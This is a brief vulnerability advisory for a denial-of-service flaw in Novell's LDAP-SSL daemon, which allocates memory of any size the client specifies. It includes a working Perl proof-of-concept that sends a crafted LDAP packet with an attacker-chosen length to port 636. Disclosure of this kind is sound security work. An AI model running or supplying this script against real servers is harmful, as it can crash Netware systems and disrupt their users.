Technical details
It is possible to cause a Denial of Service in Novell's
LDAP-SSL daemon due to the system blindly allocating a
user-specified amount of memory. Exploiting the issue on a
Netware system will cause a system-wide DoS condition. A script
for replicating the issue is included below:
# usage: ./ 0x41424344
use IO::Socket::SSL;
$socket = new IO::Socket::SSL(Proto=>"tcp",
PeerAddr=>$ARGV[0], PeerPort=>636);
die "unable to connect to $host:$port ($!)\n" unless $socket;
print $socket "\x30\x84" . pack("N",hex($ARGV[1])) .
"\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ;
close $socket; print "done\n";
